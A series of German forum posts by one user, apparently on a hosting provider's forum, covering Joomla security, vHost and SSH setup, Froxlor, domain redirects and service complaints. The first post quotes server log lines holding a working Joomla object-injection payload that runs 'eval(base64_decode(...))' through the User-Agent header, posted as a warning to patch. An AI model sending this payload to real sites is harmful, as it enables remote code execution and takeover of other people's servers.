Beiträge von fuerni

    Habe zum Glück schon gestern upgedated,
    habe heute schon zwei Angriffe in den Logs auf meinem Server gesehen.

    Sind zwei unabhängige Joomla 2.5 Installationen.

    Code
    85.245.242.72 - - [15/Dec/2015:02:32:43 +0100] "GET / HTTP/1.1" 200 2270 "http://domain1.tld/" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}\xf0\x9d\x8c\x86"
    178.20.55.16 - - [15/Dec/2015:02:34:24 +0100] "GET / HTTP/1.1" 200 4511 "http://domain2.tld/" "}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}\xf0\x9d\x8c\x86"

    Also schnell updaten - die Angriffe finden bereits statt. Auch auf nicht wirklich bekannte Websites.

    EDIT:
    Ich konnte nun feststellen, dass bei beiden Seiten das Joomla-Generator-Tag nicht entfernt wurde.
    Deshalb sollte man in der index.php-Datei des Templates folgende Zeile einfügen:

    PHP
    $this->setGenerator(null);

    Lg
    Fürni

    Du solltest für jedes Projekt eine eigene vHost Konfiguration anlegen,
    dann kannst du je Projekt (also je Domain) genau den DocumentRoot festlegen und kannst die unschöne .htaccess-Datei komplett weggeben.
    Du brauchst also lauter einzelne <VirtualHost *:80> Blöcke, in denen du jeweils ServerName domain.tld und DocumentRoot /var/www/project sowie alle anderen notwendigen Einstellungen festlegst.

    Falls du damit noch keine Erfahrung hast, wäre es eventuell auch sinnvoll, ein Management Tool wie Froxlor, ISPConfig oder iMSCP einzusetzen.

    Deinen bisherigen Ansatz, alles über eine .htaccess-Datei laufen zu lassen und dort dann mit mod_rewrite zu umschreiben ist weder schön noch performant.
    Versuchs mit den vHosts - geht besser und macht weniger Probleme. ;)

    Um dir weiterzuhelfen wäre es hilfreich, wenn du uns sagst, was du da alles unter dieser Domain laufen habn möchtest.
    Wenn es sich um simple .htaccess-Redirects für die anderen Projekte handelt, könntest du diese in den Unterordner verschieben, also nach "webseite/template"

    Es wäre auch möglich, den Teil der URL per mod_rewrite auszublenden, für wirklich sinnvoll halte ich das allerdings nicht.
    Um es auch erwähnt zu haben: Die wohl einfachste aber unschönste Lösung wäre ein HTML-Frame.
    Eine saubere Lösung ist einzig und allein das Ändern des Document Roots auf webseite/template.

    Falls du in dem Ordner, in dem "webseite" liegt auch andere Projekte hast, könntest du dafür ja eine Subdomain einrichten, dann wären die htaccess-Redirects nicht mehr notwendig und auch das Problem mit dem Ändern des Document Roots fällt weg.

    Wie heavygale schon geschrieben hat, löst ein DNS-Server nur die Domain in die IP-Adresse auf, also z. B. netcup.de nach 46.38.224.30. Mehr ist über den DNS nicht möglich.


    5) Die Installation ist im Hintergrund keine, sondern nur das Aufspielen und Anpassen eines fertigen Images auf deinen vServer. Diesen Vorgang kann man nicht live mitverfolgen. Alternativ könntest du dir aber eine eigene ISO-Datei hochladen und dann mittels der VNC-Konsole installieren.


    Das stimmt so nicht. Das gilt nur, wenn der Server kein DVD-Laufwerk hat. Bei der v6 haben alle bis auf den S und M-Aktion ein DVD-Laufwerk dabei. Man kann die Installation eines beliebigen Betriebssystems also durchaus per VNC-Console durchführen.

    Allerdings wirst du, wie Skulduggery und Dragon bereits erwähnt haben, Probleme mit der Virtualisierung haben. Die speziellen Virtualisierungs-Befehle werden von den Netcup vServern meines Wissens nach nicht unterstützt.
    Das heißt zwar nicht automatisch, dass Virtualisierung überhaupt nicht möglich ist, allerdings vermutlich um einiges längsamer und nicht mit jeder Virtualisierungslösung.
    Laut diesem Heise-Artikel benötigt Hyper-V VT-x - wird also wahrscheinlich nicht funktionieren.

    fallobst:
    Ja, stimmt. Hast du gut erkannt.
    Vergleiche mit netcup GmbH - Root-Server / vServer bzw. netcup.de - Produktdetails im Web-Archive.

    Überall wurde der Text allerdings noch nicht geändert. Wenn du jetzt bestellst könntest du den Prozessor also noch einklagen - theoretisch. ^^

    Diese stillen und heimlichen Änderungen mag ich irgendwie gar nicht. Wenns wenigstens im Forum eine offizielle Ankündigung geben würde ...
    Irgendwie kommt es mir derzeit manchmal so vor, als ob Netcup irgendwelche internen Probleme hätte, in finanzieller Hinsicht oder wie auch immer.

    Sofern du nicht einen sehr hohen Sicherheitsstandard erreichen möchtest, kannst du denke ich durchaus Froxlor mit Apache verwenden.
    Falls du Angriffe auf das Froxlor-Panel verhindern möchtest, kannst du es ja so einrichten, dass es nur lokal am Server erreichbar ist und dann immer über einen SSH-Tunnel darauf zugreifen.

    Am Anfang ist es meiner Meinung nach wesentlich einfacher, wenn man so ein Tool verwendet. Besser eine halbwegs gute Config, welche vom Tool erstellt wird, wie eine unsichere, die man selbst erstellt.
    Auch ich setze seit Jahren auf solche Tools, da es ab einer gewissen Anzahl an Seiten sehr umständlich ist, diese selbst zu verwalten. Ich setze dabei aber immer auf freie Tools, da kann man auch mehr selbst herumbasteln, falls man das möchte. Bei Plesk bist du meiner Meinung nach schon stark eingeschränkt.

    Falls du die Performance optimieren möchtest, kann es sich schon auszahlen, auf Lighttpd oder Nginx zu setzten. Allerdings zahlt sich das für wenige Besucher nicht aus. Ich denke für den Anfang reicht für dich der Apache locker.

    Bzgl. SSH:
    Ich würde auf jeden Fall den Port ändern. Damit verhinderst du die einfachsten Angriffe und schonst somit auch deinen Server und das gesamte Netzwerk. (Nur 1 Versuch statt 4 bei Fail2Ban).
    Außerdem rate ich dir, Keyfiles statt Passwörter zu verwenden und den Login auch nur per Keyfile zu erlauben.
    Root-Login musst du dann meiner Meinung nach nicht unbedingt deaktivieren. Denn wenn es jemand geschafft hat, sich bei dieser Konfiguration mit deinem SSH-User einzuloggen, dann schafft er es auch noch, sich root-Rechte zu besorgen.
    Falls es dir aber nichts ausmacht, jedes mal sudo zu tippen, bedeutet das natürlich wieder ein kleines bisschen mehr Sicherheit.

    Bitte beachte dabei, dass der Webspace die Möglichkeit bieten muss, externe Domains aufzuschalten.

    Auf dem Webspace reicht es dann, wenn du im Verzeichnis, auf welches die Domain zeigt, eine .htaccess-Datei mit folgendem Inhalt anlegst:

    Code
    Redirect / https://www.facebook.com/YourPageName


    Anschließend musst du noch im CCP einen A-Record anlegen, welcher auf die IP des Servers deines Webspaces zeigt.
    Welche Einstellungen du genau vornehmen musst, erfahrst du von deinem Webspace-Anbieter.

    Lg
    Fürni

    Laut der Domain-Angebots-Seite von netcup sind Domains ohne Webspace oder Server nicht möglich:

    Zitat

    Kunden die über uns ein Webhostingpaket, einen vServer oder einen managed vServer / managed dedicated Server beziehen, können zu besonders günstigen Konditionen bei uns weitere Domains hinzu buchen.


    Du kannst eine netcup-Domain nicht auf eine andere Website weiterleiten, dazu bräuchtest du einen Webspace.
    Du hast drei Möglichkeiten:
    1. Du holst dir bei netcup einen Webspace und erstellst dort die Umleitung
    2. Du ziehst deine Domain zu einem anderen Provider um, welcher das gewünschte Feature unterstützt
    3. Du holst dir einen (kostenlosen) Webspace eines anderen Anbieters und erstellst dort eine Umleitung

    Lg
    Fürni

    Für den Login verwendest du die Zugangsdaten, welche du nach der Einrichtung des vServers per E-Mail zugesandt bekommen hast bzw. im VCP beim Installieren des Images angezeigt bekommen hast.

    Falls du das Passwort nicht mehr hast, installier einfach das gewünschte Image neu per VCP.
    Dort bekommst du dann die Zugangsdaten nach dem Installationsvorgang angezeigt.

    Der Username ist jedenfalls immer root.

    Danke an den Einsatz vom Netcup-Team am Feierabend/Feiertag.

    Bei mir betrug die Downtime etwa 15 Minuten.
    Komisch war allerdings, dass HTTP sofort erreichbar war, SSH aber erst einige Minuten später.
    Zuerst dachte ich Fail2Ban hätte mich ausgesperrt, aber selbst von meinem mobilen Internet ging es nicht.
    Einige Minuten später ging es dann auf einmal ohne Probleme - warum auch immer. Vielleicht hat einfach das Starten von SSHD etwas länger gedauert...

    Zu den Beschwerden bzgl. Datenverlust:
    Wer trotz regulärem Shutdown per ACPI einen Datenverlust hat, ist meiner Meinung nach selbst Schuld. Da ist dann etwas grob falsch konfiguriert.
    Außerdem gibt Netcup sowieso keine Garantie bzgl. Datenverlust ab. Backups muss jeder selbst machen, theoretisch könnten alle Festplatten auf der Stelle ausfallen und die Daten sind weg.

    Und zur späten E-Mail:
    Wenn für jemanden das so ein kritisches System ist, sollte er sich eine eigene E-Mail-Adresse für solche wichtigen Benachrichtigungen anlegen und dieses Postfach per Push auf dem Smartphone empfangen. Somit kann so eine Meldung nicht untergehn.
    Natürlich wäre es dazu toll, wenn man bei Netcup mehrere E-Mail-Adressen konfigurieren könnte. (Eigene Mailadresse für Rechnungen und für technische Belange)

    Aber nochmals ein großes DANKE ans Netcup-Team.  :thumbup:

    fuerni Einen Becher gibt es dieses mal nicht oder?
    Ansonsten komme ich auf 18 Angebote.


    Nein, Becher gibt's keinen - hab zumindest keinen gefunden.

    18? Rechnest du die Expert Webhostings de/int jeweils als 2 oder 1?
    Wenn ich de und int extra rechne, komm ich auf 19..., sonst eben 16.
    Oder rechnest du Produkte, die mehrmals als Ei vorkommen (z. B. die .de-Domain), so oft sie vorkommen?


    Ich find den vServer für 2,99 auch irgendwie nicht


    Kleiner Tipp: "Über uns" ;)

    Ich find's toll, dass ihr auch an die österreichischen Kunden gedacht habt und .at-Domains sehr günstig hergebt.
    (Seid ja schon beim Normalpreis einer der günstigsten Anbieter was .at-Domains angeht.)
    Und auch an alle anderen Europäer mit .eu. :)

    Nur leider fehlen mir derzeit Ideen für Domains... :S

    Danke für die tollen 16 Angebote (oder sind's etwa noch mehr?) und die spannende Suche. :D

    (Nächstes Jahr könnte man die Suche für Freaks ja auf den Quelltext ausweiten... - für den Netcup Becher oder so. ^^)

    Hallo Rogue,

    SFTP und FTP(S) sind zwei komplett unterschiedliche Protokolle.
    Froxlor unterstützt standardmäßig nur FTP. Theoretisch wäre SFTP sicherlich auch möglich, aber ist bestimmt alles etwas komplizierter.

    Hast du schon versucht dich per FTP (z. B. mit Filezilla) einzuloggen?
    Dort sollten die in Froxlor erstellten FTP-Zugänge nämlich funktionieren.

    Falls nicht, ist die Konfiguration deines FTP-Servers vermutlich unvollständig.
    Froxlor speichert die Konten nämlich in einer MySQL Tabelle, welche von einer Erweiterung des FTP-Servers ausgelesen werden.
    Die richtige Konfiguration für deinen FTP-Server findest du im Froxlor Admin-Panel unter Server -> Konfiguration. Wenn du dort Distribution: Debian 7.0 (Wheezy) Service: FTP-Server Daemon: ProFTPd wählst, wird dir genau angezeigt, was du tun sollst.
    Dabei nicht darauf vergessen, das MySQL Froxlor Passwort in der sql.conf zu ergänzen.

    Wenn es unbedingt SSH/SFTP Zugriff für die "Kunden" sein soll, würde ich dir empfehlen, auf ein anderes Verwaltungspanel zu setzen. Ich nutze dafür z. B. ISPConfig.
    Falls du aber den Server nur für dich verwendest, solltest du mit einem Root SFTP Account und einigen FTP(S) Accounts auskommen.

    die hatten damals ma ne einklick insterlation für zb foren gibs die nich mehr oder binsch blind

    ja das meine ich mann hat im froxlor knipf gedrückt und er hat es selbständig insterliert


    Das Feature gab es bei Froxlor, ja.
    Der APS-Installer wurde mit der Version 0.9.32 aber entfernt, um "unnötigen Ballast" abzuwerfen und sich auf das Wesentliche zu konzentrieren.
    Näheres siehe dieser Beitrag im Froxlor-Forum: Release 0.9.32 - Lightweight and powerful - Announcements - Froxlor Forum

    Nebenbei möchte ich noch darauf hinweisen, dass die Entwicklung von Froxlor nur sehr schleppend vorangeht. Letztes stable Release ist vom Mai 2014.
    Es gibt derzeit wohl nur einen Entwickler, der immer wieder daran arbeitet und nebenbei noch das Forum betreut.
    Bei Sicherheitsproblemen könnten Patches also durchaus einige Zeit benötigen.

    Wenn es Ihnen rein um ein Upgrade geht, finden wir, wie bereits geschrieben, ganz sicher eine kulante Lösung für Sie. Ich würden mich freuen, wenn Sie unseren Support diesbezüglich erneut kontaktieren.


    Ja, eigentlich ging es mir um ein Upgrade. 3 Monate gratis hätten für mich nur bedeutet, mehr Zeit für den Umzug zu haben. Da ich jetzt eher wenig Zeit habe, werde ich im Jänner oder Februar gerne auf Ihr Anbot zurückkommen.

    Einziger Wunsch auf meiner Wunschliste: Bitte lasst uns endlich mehrere Mail-Adressen im CCP eintragen - welche für Rechnungen, System-Mails, SSL-Zertifikat-Beantragungen, ...


    Oh ja, das wünsche ich mir auch schon länger.
    Zumindest für die Whois-Einträge bei Domains ist für B2B Kunden aber ja bereits etwas in Arbeit.

    Ich glaube mich an den Bericht eines Kunden hier im Forum zu erinnern, welchem in einem solchen Fall entgegengekommen wurde. Es sollte allerdings klar sein, dass sowas nicht selbstverständlich ist, dementsprechend ist es auch nicht fair sich darüber zu beschweren, ist es doch Dein Fehler gewesen nicht auf die Laufzeit zu achten.

    Genau deshalb hab ich ja nachgefragt, weil ich es von netcup als auch von anderen Firmen im Internetsektor gewohnt bin, dass sie kulant sind. Bei meinem ISP ist eine MVD beispielsweise überhaupt kein Problem. Da kommt sogar ein Brief 'Wir hätten jetzt ein günstigeres und besseres Produkt. Möchten Sie nicht wechseln?'.

    Davon ausgehen kann man natürlich nicht. Allerdings hat mich die Art und Weise leicht geärgert. Man hätte zum Beispiel nachfragen können was ich bräuchte und ein eventuelles Upgrade anbieten.
    Es wurde einfach gesagt, dass es nicht möglich ist.


    Bei mir hat der Support bisher den Namen, unter dem ich die Nachricht verfasst habe, immer beibehalten. Davon ab ist es irgendwie schon lächerlich, den Kundendienst eines Unternehmens danach zu beurteilen, wie die Anrede formuliert wird, findest Du nicht?

    Ja, das wäre lächerlich - ist mir normalerweise auch egal.
    In diesem Zusammenhang allerdings verstärkt es das Gefühl des unpersönlichen Kontaktes.

    Bei mir konnte ich noch keine große Angriffswelle feststellen.
    Einige Angriffe mehr wie sonst waren aber in den Logs ersichtlich, aber nicht auf SSH.
    Auf meinem Server sind aber auch fast alle Ports blockiert und SSH läuft nicht am Standardport.

    Ich habe meinen Port auch verlegt aber nicht dicht gemacht, denn darauf horcht portsentry.
    Der sperrt jeden aus der es versucht auf diesen Port zuzugreifen, denn jeder der dort ein Zugriff versucht hat ehe nichts gutes im Sinn.


    Das ganze klingt interessant. Allerdings vermute ich, dass das Programm lediglich die Auslastung meines Servers in die Höhe treibt, die Sicherheit aber nur geringfügig erhöht.
    Denn der einzige Port, welcher einen Angreifer wirklich relevant sein könnte, ist mein eigener SSH Port, welcher > 10 000 ist.
    Ein normaler Massenangreifer wird denke ich nie so weit suchen - den würde dieses Programm allerdings ausschalten.
    Wenn es jemand allerdings wirklich auf den Server abgesehen hat, ist dieses Programm in meinen Augen mehr oder minder ein Zeitverzögerer, aber mehr auch nicht.

    Oder was meint ihr dazu? Übersehe ich etwas?

    Guten Abend,

    ich wollte vom vServer M v2 auf den L v5 wechseln, da mein RAM langsam aber sicher knapp wird.
    Dazu wollte ich die Adventaktion nutzen. Allerdings bemerkte ich leider zu spät, dass sich der Server nicht um ein Monat sondern um ein Jahr verlängert hat.
    Ja, ich weiß mittlerweile, dass diese Klausel relativ klein beim Bestellvorgang dabeisteht. In der AGB, wo ich danach gesucht habe, konnte ich sie allerdings nicht finden.

    Hätte ich das früher gewusst, hätte ich wohl den Server gekündigt und hätte mir für 1-2 Monate nochmal den M v2 mit kürzerer Bindung geholt, um dann in Ruhe auf den L-Server vom Adventkalender wechseln zu können.
    Vom Support wurde mir dazu nur kurz und bündig gesagt, dass eine Kündigung nur unter Einhaltung der Kündigungsfrist und der Vertragslaufzeit möglich ist.
    Dass der Support immer den gespeicherten Kundennamen anstatt den Namen in der Signatur als Anrede verwendete, bestärkte das Gefühl eine Nummer zu sein.

    Mir ist natürlich klar, dass netcup auch wirtschaftlich arbeiten muss und sowohl der Support als auch die Hardware nicht gerade günstig sind.
    Ich bin auch gerne dazu bereit, für gute Produkte und guten Service mehr zu zahlen - aber zu verschenken habe auch ich nichts.

    Bis jetzt habe ich immer alle 1 bis 2 Jahre den Server gewechselt, da meine Anforderungen von Zeit zu Zeit steigen.


    Falls sich an meinen Wünschen etwas machen lässt, würde ich mich sehr freuen.
    Wenn nicht, kann man auch nichts machen - war schließlich mein Fehler.

    Hallo,

    also ich war mit netcup bis jetzt auch immer sehr zufrieden.
    Immer gute Produkte wo alles stimmt: Leistung, Service und Preis.
    Besonders bei technischen Neuheiten ist netcup immer vorne dabei, egal ob es neue Software oder Hardware gibt.
    netcup ist wohl einer der ersten Hoster, welcher PHP 5.6 im Angebot hat. Und auch vServer mit DDR4 gibt es bereits bei netcup.

    Was netcup zusätzlich von "den großen Anbietern" (obwohl netcup ja mittlerweile selber schon zu den größeren gehört) unterscheidet ist der gute Support, der enge Kontakt mit den Kunden (wie dieses Forum hier gut zeigt) und auch die Kulanz.
    Dachte ich zumindest bis jetzt.

    Allerdings wurde ich an diesem Wochenende vom Gegenteil überzeugt. Ein Wechsel von einem Server, welcher sich automatisch um 1 Jahr verlängert hat (wo also die eigentliche MVD schon vorbei ist), auf ein neueres Modell ist plötzlich überhaupt nicht mehr möglich. Auch ein Preisnachlass von dem alten Preis auf den aktuell angebotenen Preis wird verweigert.

    Und das obwohl ich schon über sechs Jahre lang Kunde bei netcup bin und netcup bis jetzt immer positiv weiterempfehlen konnte.
    Aber hat sich das nun geändert? Wird der Kunde immer mehr eine Nummer und richtiger Support wird nur mehr den Pro-Kunden geboten?
    Ich hoffe, ich muss mich nicht nach einem neuen Anbieter umsehen. Denn ansonsten war ich bis jetzt sehr zufrieden.